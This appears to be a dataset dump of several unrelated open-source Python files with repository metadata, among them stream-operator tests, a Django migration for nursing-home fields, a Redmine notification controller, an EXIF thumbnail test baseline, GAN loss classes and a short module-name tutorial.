= Stream(v, "s") specs = [ {"alpha": 0.68, "adjust": True, "ignore_na": True, "min_periods": 3}, {"alpha": 0.68, "adjust": True, "ignore_na": False, "min_periods": 3}, {"alpha": 0.68, "adjust": False, "ignore_na": True, "min_periods": 3}, {"alpha": 0.68, "adjust": False, "ignore_na": False, "min_periods": 3} ] for spec in specs: d = spec.copy() d["warmup"] = d["min_periods"] del d["min_periods"] var = s.ewm(**d).var(bias=False).rename("var") feed = DataFeed([var]) feed.compile() expected = list(pd.Series(v).ewm(**spec).var(bias=False)) actual = [] while feed.has_next(): actual += [feed.next()["var"]] assert all(np.isclose(actual, expected)) def test_min(): s1 = Stream([1, 2, 3, 4], "s1") s2 = Stream([1, 4, 3, 2], "s2") m = s1.min(s2).rename("min") feed = DataFeed([m]) feed.compile() expected = [1, 2, 3, 2] actual = [] while feed.has_next(): actual += [feed.next()["min"]] assert actual == expected def test_max(): s1 = Stream([1, 2, 3, 4], "s1") s2 = Stream([1, 4, 3, 2], "s2") m = s1.max(s2).rename("max") feed = DataFeed([m]) feed.compile() expected = [1, 4, 3, 4] actual = [] while feed.has_next(): actual += [feed.next()["max"]] assert actual == expected def test_clamp_min(): s = Stream([1, -2, -3, 0, 5], "s") m = s.clamp_min(0).rename("clamp_min") feed = DataFeed([m]) feed.compile() expected = [1, 0, 0, 0, 5] actual = [] while feed.has_next(): actual += [feed.next()["clamp_min"]] assert actual == expected def test_clamp_max(): s = Stream([1, -2, -3, 0, 5], "s") m = s.clamp_max(0).rename("clamp_max") feed = DataFeed([m]) feed.compile() expected = [0, -2, -3, 0, 0] actual = [] while feed.has_next(): actual += [feed.next()["clamp_max"]] assert actual == expected def test_fillna(): s = Stream([1, np.nan, -3, np.nan, 5], "s") m = s.fillna(-1).rename("fill") feed = DataFeed([m]) feed.compile() expected = [1, -1, -3, -1, 5] actual = [] while feed.has_next(): actual += [feed.next()["fill"]] assert actual == expected

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6

f021db100ea9d617b6a8d4e32532f119448bde99

1,796

py

Python

correctiv_nursinghomes/migrations/0002_auto_20160523_1220.py

correctiv/correctiv-nursinghomes

c2037891ca650736cff82a675b0a08ae694a7b9c

[ "MIT" ]

4

2016-09-24T07:27:44.000Z

2021-12-29T18:31:20.000Z

correctiv_nursinghomes/migrations/0002_auto_20160523_1220.py

correctiv/correctiv-nursinghomes

c2037891ca650736cff82a675b0a08ae694a7b9c

[ "MIT" ]

null

correctiv_nursinghomes/migrations/0002_auto_20160523_1220.py

correctiv/correctiv-nursinghomes

c2037891ca650736cff82a675b0a08ae694a7b9c

[ "MIT" ]

null

# -*- coding: utf-8 -*- # Generated by Django 1.9.6 on 2016-05-23 10:20 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('correctiv_nursinghomes', '0001_initial'), ] operations = [ migrations.AddField( model_name='nursinghome', name='care_day', field=models.BooleanField(default=False), ), migrations.AddField( model_name='nursinghome', name='care_full', field=models.BooleanField(default=False), ), migrations.AddField( model_name='nursinghome', name='care_night', field=models.BooleanField(default=False), ), migrations.AddField( model_name='nursinghome', name='care_temp', field=models.BooleanField(default=False), ), migrations.AddField( model_name='nursinghome', name='red_flag_decubitus', field=models.BooleanField(default=False), ), migrations.AddField( model_name='nursinghome', name='red_flag_food', field=models.BooleanField(default=False), ), migrations.AddField( model_name='nursinghome', name='red_flag_incontinence', field=models.BooleanField(default=False), ), migrations.AddField( model_name='nursinghome', name='red_flag_medicine', field=models.BooleanField(default=False), ), migrations.AddField( model_name='nursinghome', name='red_flag_pain', field=models.BooleanField(default=False), ), ]

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1

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1

0

null

0

6

f0263863d3f69202580656bdb00a74f6eb6f5d82

529

py

Python

app/controller/notificationController.py

kirei-open/redmine-api-grabber

2bd020c7bdc7b2abdb7839eb7eb5466de84a48e7

[ "MIT" ]

null

app/controller/notificationController.py

kirei-open/redmine-api-grabber

2bd020c7bdc7b2abdb7839eb7eb5466de84a48e7

[ "MIT" ]

null

app/controller/notificationController.py

kirei-open/redmine-api-grabber

2bd020c7bdc7b2abdb7839eb7eb5466de84a48e7

[ "MIT" ]

null

from app.services import notification as notificationServices, redmine as redmineServices def get_birthday(): return notificationServices.send_birthday_firebase() def absen_masuk_notification(): return notificationServices.send_notif_absen_masuk() def absen_keluar_notification(): return notificationServices.send_notif_absen_keluar() def new_and_over_due_issues(): print('send notification') data = redmineServices.get_all_project_detail() return notificationServices.send_notif_per_device(data)

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null

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null

0

1

0

1

0

6

f05268cd6fca689312e1a472236403ddddce8e55

37

py

Python

Plugins/Pizza/__init__.py

olkab93/SkypeBot

2cd4f29b681045c5a1d26dc25551c3dc1d148401

[ "MIT" ]

null

Plugins/Pizza/__init__.py

olkab93/SkypeBot

2cd4f29b681045c5a1d26dc25551c3dc1d148401

[ "MIT" ]

null

Plugins/Pizza/__init__.py

olkab93/SkypeBot

2cd4f29b681045c5a1d26dc25551c3dc1d148401

[ "MIT" ]

null

from .PizzaPlugin import PizzaPlugin

18.5

36

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1

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null

0

1

0

1

0

1

0

6

f072f8ae18fcb4910aa4bb9d542028193c0d785f

24

py

Python

third_party/ros_aarch64/lib/python2.7/dist-packages/pb_msgs/msg/__init__.py

silverland79/apollo1.0

6e725e8dd5013b769efa18f43e5ae675f4847fbd

[ "Apache-2.0" ]

2

2018-01-29T03:10:39.000Z

2020-12-08T09:08:41.000Z

third_party/ros_aarch64/lib/python2.7/dist-packages/pb_msgs/msg/__init__.py

silverland79/apollo1.0

6e725e8dd5013b769efa18f43e5ae675f4847fbd

[ "Apache-2.0" ]

null

third_party/ros_aarch64/lib/python2.7/dist-packages/pb_msgs/msg/__init__.py

silverland79/apollo1.0

6e725e8dd5013b769efa18f43e5ae675f4847fbd

[ "Apache-2.0" ]

3

2018-01-29T12:22:56.000Z

2020-12-08T09:08:46.000Z

from .time_pb2 import *

12

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6

b2ff97f70a38d1cd0b901c0cb8a2752b65d4b084

9,628

py

Python

exif/tests/get_file_baselines/grand_canyon_thumbnail.py

chbndrhnns/exif

65aa2d8bcdecf79d34752390310222a9bd5d5bb3

[ "MIT" ]

null

exif/tests/get_file_baselines/grand_canyon_thumbnail.py

chbndrhnns/exif

65aa2d8bcdecf79d34752390310222a9bd5d5bb3

[ "MIT" ]

null

exif/tests/get_file_baselines/grand_canyon_thumbnail.py

chbndrhnns/exif

65aa2d8bcdecf79d34752390310222a9bd5d5bb3

[ "MIT" ]

null

"""Grand canyon thumbnail.""" from baseline import Baseline GRAND_CANYON_THUMBNAIL = Baseline(""" ffd8ffdb004300080606070605080707070909080a0c140d0c0b0b0c1912130f141d1a1f1e1d1a1c1c20242e27 20222c231c1c2837292c30313434341f27393d38323c2e333432ffdb0043010909090c0b0c180d0d1832211c21 323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232 3232323232ffc0001108007800a003012100021101031101ffc4001f0000010501010101010100000000000000 000102030405060708090a0bffc400b5100002010303020403050504040000017d010203000411051221314106 13516107227114328191a1082342b1c11552d1f02433627282090a161718191a25262728292a3435363738393a 434445464748494a535455565758595a636465666768696a737475767778797a838485868788898a9293949596 9798999aa2a3a4a5a6a7a8a9aab2b3b4b5b6b7b8b9bac2c3c4c5c6c7c8c9cad2d3d4d5d6d7d8d9dae1e2e3e4e5 e6e7e8e9eaf1f2f3f4f5f6f7f8f9faffc4001f0100030101010101010101010000000000000102030405060708 090a0bffc400b51100020102040403040705040400010277000102031104052131061241510761711322328108 144291a1b1c109233352f0156272d10a162434e125f11718191a262728292a35363738393a434445464748494a 535455565758595a636465666768696a737475767778797a82838485868788898a92939495969798999aa2a3a4 a5a6a7a8a9aab2b3b4b5b6b7b8b9bac2c3c4c5c6c7c8c9cad2d3d4d5d6d7d8d9dae2e3e4e5e6e7e8e9eaf2f3f4 f5f6f7f8f9faffda000c03010002110311003f00f4d62477a61de7a0ae8218d60ddc530838aa44913a16a88c55 71131318e050013c55137265898f4352080d4b00f2ce7935221da793536289d5d48eb8a5debeb486481c74a717 a8655c89c82def49d2a1b28439a63391c534264a5778e952221db5420f2be6e94c922217814d3115da2623eb4d fb3bf5ab892c6f90c7b5385b8ee1aaee40e5800ecd5208fd8d26343bca53d452fd9626ea48a9b8c78b24ec4d3b ec8807534ae507938f5a694a963216041a371e959b45a61f31ed4c68dfd28481b27008e94e0e4569633b8f129a 78901a2c3e61c369f4a3621a109ea2f94b9e9479429dc431a21ea69be5aaf5dd54992c50a9d8b5218c7f78d031 4023f8a9c5914659c0fc690c69b88ffbd9a619a33d2972b0e6431896e805342cb9fe1a7ca2e60db2e7ef63e94c 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650f396249d2c5e6c28911d288e4bd87b9f79469

3,332

py

Python

nnutils/loss/gan.py

STomoya/animeface

37b3cd26097d7874559d4c152e41e5712b7a1a42

[ "MIT" ]

61

2020-06-06T08:25:09.000Z

2022-03-28T13:30:10.000Z

nnutils/loss/gan.py

OrigamiXx/animeface

8724006df99ba7ef369e837d8294350ea733611b

[ "MIT" ]

13

2020-07-02T02:41:14.000Z

2021-05-09T14:24:58.000Z

nnutils/loss/gan.py

OrigamiXx/animeface

8724006df99ba7ef369e837d8294350ea733611b

[ "MIT" ]

8

2020-10-03T18:51:16.000Z

2022-02-05T18:18:01.000Z

import torch import torch.nn as nn import torch.nn.functional as F from nnutils.loss._base import Loss class Adversarial(Loss): def real_loss(self, prob: torch.Tensor ) -> torch.Tensor: raise NotImplementedError() def fake_loss(self, prob: torch.Tensor ) -> torch.Tensor: raise NotImplementedError() def d_loss(self, real_prob: torch.Tensor, fake_prob: torch.Tensor ) -> torch.Tensor: rl = self.real_loss(real_prob) fl = self.fake_loss(fake_prob) loss = rl + fl if self.return_all: return loss, rl, fl return loss def g_loss(self, fake_prob: torch.Tensor ) -> torch.Tensor: return self.real_loss(fake_prob) class GANLoss(Adversarial): '''original GAN loss Ld = E[log(D(x)) + log(1 - D(G(z)))] Lg = E[log(1 - D(G(z)))] ''' def __init__(self, return_all: bool=False ) -> None: super().__init__(return_all=return_all) self.criterion = nn.BCEWithLogitsLoss() def real_loss(self, prob: torch.Tensor ) -> torch.Tensor: valid = torch.ones(prob.size(), device=prob.device) return self.criterion(prob, valid) def fake_loss(self, prob: torch.Tensor ) -> torch.Tensor: fake = torch.zeros(prob.size(), device=prob.device) return self.criterion(prob, fake) class LSGANLoss(GANLoss): '''least square GAN loss (a,b,c = 0,1,1) Ld = 1/2*E[(D(x) - 1)^2] + 1/2*E[D(G(z))^2] Lg = 1/2*E[(D(G(z)) - 1)^2] ''' def __init__(self, return_all: bool=False ) -> None: super().__init__(return_all) self.criterion = nn.MSELoss() def d_loss(self, real_prob: torch.Tensor, fake_prob: torch.Tensor ) -> torch.Tensor: rl = self.real_loss(real_prob) * 0.5 fl = self.fake_loss(fake_prob) * 0.5 loss = rl + fl if self.return_all: return loss, rl, fl return loss def g_loss(self, fake_prob: torch.Tensor ) -> torch.Tensor: return self.real_loss(fake_prob) * 0.5 class NonSaturatingLoss(Adversarial): '''non-saturating GAN loss Ld = E[log(D(x)) + log(1 - D(G(z)))] Lg = E[log(D(G(z)))] ''' def real_loss(self, prob: torch.Tensor ) -> torch.Tensor: return F.softplus(- prob).mean() def fake_loss(self, prob: torch.Tensor ) -> torch.Tensor: return F.softplus( prob).mean() class WGANLoss(Adversarial): '''WGAN loss Ld = E[D(G(z))] - E[D(x)] Lg = -E[D(G(z))] ''' def real_loss(self, prob: torch.Tensor ) -> torch.Tensor: return - prob.mean() def fake_loss(self, prob: torch.Tensor ) -> torch.Tensor: return prob.mean() class HingeLoss(Adversarial): '''Hinge loss Ld = - E[min(0, 1 + D(x))] - E[min(0, -1 - D(G(z)))] Lg = - E[D(G(z))] ''' def real_loss(self, prob: torch.Tensor ) -> torch.Tensor: return F.relu(1. - prob).mean() def fake_loss(self, prob: torch.Tensor ) -> torch.Tensor: return F.relu(1. + prob).mean() def g_loss(self, fake_prob: torch.Tensor ) -> torch.Tensor: return - fake_prob.mean()

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33069d8a4b006d37e31b638f6b2abd71d413db8c

130

py

Python

Main.py

Young308/python_study

9c78874567ac913cfa5849faefed8b4a2ab41276

[ "MIT" ]

null

Main.py

Young308/python_study

9c78874567ac913cfa5849faefed8b4a2ab41276

[ "MIT" ]

null

Main.py

Young308/python_study

9c78874567ac913cfa5849faefed8b4a2ab41276

[ "MIT" ]

null

# Hello.py를 모듈로 가져옴 import Hello print('main.py__name__: ', __name__) # name 변수 출력 # __main__ 값은 현재 실행되는 파일의 이름 (__name__)이다

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